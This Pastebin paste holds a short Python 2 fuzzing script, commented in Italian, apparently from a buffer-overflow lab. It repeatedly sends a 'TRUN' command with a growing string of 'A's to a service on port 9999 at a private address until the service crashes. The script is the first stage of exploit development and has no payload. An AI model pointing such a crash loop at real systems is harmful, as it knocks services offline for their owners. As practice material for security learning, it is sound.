Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python # Dichiariamo che è uno script che utilizza il linguaggio PYTHON
- import sys,socket # Invochiamo l'accesso al codice di un modulo ad un altro modulo (sys e socket)
- from time import sleep # Importiamo "sleep"
- buffer = "A" * 100 # All'interno di Buffer avremo la "A" ripetuta 100 volte
- while True: # Creiamo un loop costante se il valore booleano è true
- try:
- # Creiamo un oggetto socket con i parametri AF_INET -> Indica Indirizzo IPv4 o Hostname e SOCK_STREAM -> Indica che vogliamo creare un socket TCP
- s=socket.socket(socket.AF_INET ,socket.SOCK_STREAM)
- # Invio della connessione alla Macchina Vulnerabile
- s.connect(('192.168.178.38',9999))
- # Send Over questo messaggio TRUN + buffer
- s.send(('TRUN /.:/' + buffer))
- # Chiusura della connessione
- s.close()
- # Blocco dell'esecuzione
- sleep(1)
- # Reinviamo un altro buffer
- # Per tutto il tempo in cui la connessione è stabilita continuiamo ad inviare il buffer 100, 200, 300 "A"
- buffer = buffer + "A"*100
- # Una volta Crashato. Verificatasi l'eccezione…
- except:
- # Facciamo il Print del Buffer
- print "Fuzzing crashed avvenuto al %s bytes" % str(len(buffer))
- sys.exit()
Add Comment
Please, Sign In to add comment